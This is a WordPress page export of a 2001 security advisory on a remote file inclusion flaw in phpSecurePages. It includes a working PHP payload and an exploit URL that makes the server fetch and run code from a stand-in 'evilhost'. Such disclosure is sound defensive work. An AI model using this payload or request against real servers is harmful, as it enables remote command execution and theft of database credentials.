{"id":28,"date":"2021-06-15T00:16:26","date_gmt":"2021-06-15T00:16:26","guid":{"rendered":"https:\/\/securereality.com.au\/?page_id=28"},"modified":"2021-06-15T00:16:27","modified_gmt":"2021-06-15T00:16:27","slug":"security-advice-9","status":"publish","type":"page","link":"https:\/\/securereality.com.au\/security-advice-9\/","title":{"rendered":"Security Advice #9"},"content":{"rendered":"\n<pre class=\"wp-block-preformatted\">=================================================\nSecure Reality Pty Ltd. Security Advisory #9 (SRADV00009)\n<blockquote class=\"wp-embedded-content\" data-secret=\"2umd00PLBd\"><a href=\"https:\/\/securereality.com.au\/\">Secure Reality<\/a><\/blockquote><iframe class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; clip: rect(1px, 1px, 1px, 1px);\" title=\"&#8220;Secure Reality&#8221; &#8212; Secure Reality\" src=\"https:\/\/securereality.com.au\/embed\/#?secret=2umd00PLBd\" data-secret=\"2umd00PLBd\" width=\"600\" height=\"338\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe>\n=================================================\n\n[Title]\nRemote command execution vulnerabilities in phpSecurePages\n\n[Released]\n2\/7\/2001\n\n[Vulnerable]\nVersions up to and including Beta 2.4\n\n[Overview]\nphpSecurePages is a very easy to use tool for password protecting portions\nof websites on PHP enabled webservers.\n\nIn versions specified phpSecurePages makes insecure calls to the PHP\nfunction include(). Installations of the versions specified are vulnerable\nto attacks in which the attacker gains the ability to execute arbitrary\ncommands (and code) on the remote web server with the permissions of the web\nserver user, typically 'nobody'. phpSecurePages can be configured to use a\nDatabase for authorization information, in this case the remote command\nexecution vulnerability can be used to read the configuration files and\ndisclose the database credentials therein.\n\n[Impact]\nRemote command execution (with privileges as above)\nPossible disclosure of Database Credentials\n\n[Detail]\nPlease note that this vulnerability was discussed in detail at the Black Hat\nBriefings in Hong Kong and Singapore in Asia 2001. At some stage, Powerpoint\npresentation notes and audio\/video of the presentation will become available\nat http:\/\/www.blackhat.com.\n\nNote also that this description will be best understood (and is released in\nconjunction with) our new paper \"A Study In Scarlet - Exploiting Common\nVulnerabilities in PHP Applications\" which can be downloaded from\nhttp:\/\/www.securereality.com.au\/archives.html\n\nAs with all the advisories released in conjunction with the paper above I'm\ngoing to describe this problem in gross detail, from finding the hole to\nexploiting it (sidestepping various annoying barriers along the way).\n\nphpSecurePages is designed to be an easy to use way to password protect\nportions of websites. In order to protect a particular web page using\nphpSecurePages the administrator needs to make that page parseable by php\n(usually by giving it a specific file extension, often '.php') then put on\nline of PHP code into that page which looks like the following:\n\n &lt;?php include(\"&lt;path to phpSecurePages&gt;\/secure.php\"); ?&gt;\n\nThe include statement is used to cause PHP to read a particular file and\ninterpret its contents at PHP code. The above line reads in the\nphpSecurePages code and executes it (when the restricted page is accessed),\nthe code in turn performs authentication etc.\n\nThe problem in the phpSecurePages code is spotted extremely easily with a\ngrep of the source. The following line of code in checklogin.php looks\ndangerous:\n\n102         include($cfgProgDir . \"interface.php\");\n\nIf an attacker can control the content of $cfgProgDir they can provide a\nvalue like \"http:\/\/my.evil.server.com\/\" and PHP's remote files functionality\nwill cause the phpSecurePages application to request the interface.php file\nfrom my.evil.server.com then execute its content on the remote machine.\n\nSo first we need to understand the context of this call. The first question\nto be asked is the purpose of checklogin.php in the application. Taking a\nlook in secure.php (remembering secure.php is the file that is included by\nother pages to get phpSecurePages authentication):\n\n 9 \/****** Installation ******\/\n10 $cfgProgDir =  '\/~shaman\/phpSecurePages\/';\n11   \/\/ location of phpSecurePages calculated from the root of the server\n12   \/\/ Example: if you installed phpSecurePages on http:\/\/www.mydomain.com\/phpSecurePages\/\n13   \/\/ the value would be $cfgProgDir = '\/phpSecurePages\/'\n14 $cfgIndexpage = '\/index.php';\n\n... lots of other configuration information (language, image locations etc) ...\n\n125 include($cfgProgDir . \"lng\/\" . $languageFile);\n126 include($cfgProgDir . \"session.php\");\n127\n128\n129 \/\/ choose between login or logout\n130 if ($logout &amp;&amp; !($HTTP_GET_VARS[\"logout\"] || $HTTP_POST_VARS[\"logout\"]))\n{\n131         \/\/ logout\n132         include($cfgProgDir . \"logout.php\");\n133 } else {\n134         \/\/ loading login check\n135         include($cfgProgDir . \"checklogin.php\");\n136 }\n137 ?&gt;\n\nBasically secure.php is mostly full of configuration information for the\nphpSecurePages installation. Once its set up the configuration environment\nit determines if the request is to logon or logoff (on line 130) and based\non that includes either logout.php or checklogin.php. checklogin.php is\nmeant to be included and executed by secure.php when the request is for a\nlogon. This is the PHP library files concept, code is compartmentalized into\nseparate PHP source files which can simply be included when needed.\n\nAs discussed in 'A Study In Scarlet' the fact that files with non PHP parsed\nextensions (e.g '.inc') will be returned as source when requested remotely\nhas caused many people to give every file a PHP parsed extension to prevent\nsource disclosure (particularly a problem for configuration scripts\ncontaining database credentials etc). The problem with this is that it\nallows files that are never meant to be executed except in the context of\nother scripts to be executed by remote attackers in unsafe environments. If\nchecklogin.php is called directly it cannot rely on any of the configuration\nvariables, in particular an attacker may set $cfgProgDir to whatever they\nwish.\n\nA hurdle that must be overcome is knowing the location of the phpSecurePages\ninstallation, recall that phpSecurePages can be installed anywhere in the\nweb directories and is simply include()d from other pages. One interesting\npoint is that phpSecurePages shouldn't really need to be installed in a web\naccessible directory at all, PHP will happily include any file, not just one\naccessible by the web server. However the application ships with, and needs\nto know the location of various images it displays during the authentication\nprocess. In order to make the installation and configuration easier the\napplication is just unpacked into a web directory and is configured to know\nits location in the filesystem and the webpath to the directory in which it\nis installed. This means that the URLs for the images displayed in the logon\nprocess give away the location of the phpSecurePages installation, for\nexample:\n\n &lt;IMG SRC=\"http:\/\/vulnserver\/phpSecurePages\/images\/cancel.gif\" ...\n\nThe attacker now knows they can request checklogin.php from\nhttp:\/\/vulnserver\/phpSecurePages\/checklogin.php. To exploit the\nvulnerability the attacker simply needs to point the cfgProgDir variable at\na web path they can control (a free provider would be fine) and create the\nfile interface.php on that webserver. Its content would be requested and\nexecuted by the vulnerable installation of phpSecurePages. For example the\nattacker might place the following content in interface.php on\nhttp:\/\/evilhost\/:\n\n&lt;?php\n        \/\/ PHP code to be executed\n        $phpcode = '\n                echo(\"Hi there!&lt;BR&gt;\");\n                passthru(\"id\");\n        ';\n\n        \/\/ If we were called via remote include, send the code to be\n        \/\/ executed\n        if (substr($HTTP_SERVER_VARS[\"HTTP_USER_AGENT\"], 0, 3) == \"PHP\")\n                echo(\"&lt;?php $phpcode ?&gt;\");\n        else\n        \/\/ Otherwise we're being executed on the target web server already,\n        \/\/ so simply evaluate the code\n                eval($phpcode);\n\n        exit();\n?&gt;\n\n(This script is designed so that the server it is placed on can be PHP\nenabled and not result in the code being executed on the attacking machine)\n\nThe attacker could then make the following request to have the PHP code\nabove retrieved and executed:\n\n http:\/\/vulnhost\/phpSecurePages\/checklogin.php?cfgProgDir=http:\/\/evilhost\/\n\nAs always with PHP there are many caveats to the attacks details in this\nadvisory based on PHP configuration and version. I'm not going to go into\ndetail on these but some to consider are listed below. Suffice to say this\nis a bug and it is usually exploitable.\n - The remote web server must be able to retrieve the file, i.e no firewalls\nin the way\n - The remote web server must not be running PHP under windows since remote\nfile includes are not supported on this platform\n - The remote web server must not have allow_url_fopen set off\n\n[Fix]\nLater versions of phpSecurePages correct this problem. Please download \nversion 0.25 beta or above from:\n http:\/\/www.phpsecurepages.f2s.com\/\n\n[Acknowledgements]\nOur thanks to Paul Kruyt, the author of phpSecurePages for quickly\ncorrecting this problem\n\n[Disclaimer]\nAdvice, directions and instructions on security vulnerabilities in this\nadvisory do not constitute: an endorsement of illegal behavior; a guarantee\nthat protection measures will work; an endorsement of any product or\nsolution or recommendations on behalf of Secure Reality Pty Ltd. Content is\nprovided as is and Secure Reality Pty Ltd does not accept responsibility for\nany damage or injury caused as a result of its use.<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>================================================= Secure Reality Pty Ltd. Security Advisory #9 (SRADV00009) Secure Reality ================================================= [Title] Remote command execution vulnerabilities in phpSecurePages [Released] 2\/7\/2001 [Vulnerable] Versions up to and including Beta 2.4 [Overview] phpSecurePages is a very easy to use tool for password protecting portions of websites on PHP enabled webservers. In versions specified phpSecurePages makes insecure calls &#8230; <a title=\"Security Advice #9\" class=\"read-more\" href=\"https:\/\/securereality.com.au\/security-advice-9\/\" aria-label=\"More on Security Advice #9\">Read more<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_generate-full-width-content":""},"_links":{"self":[{"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/pages\/28"}],"collection":[{"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/comments?post=28"}],"version-history":[{"count":0,"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/pages\/28\/revisions"}],"wp:attachment":[{"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/media?parent=28"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}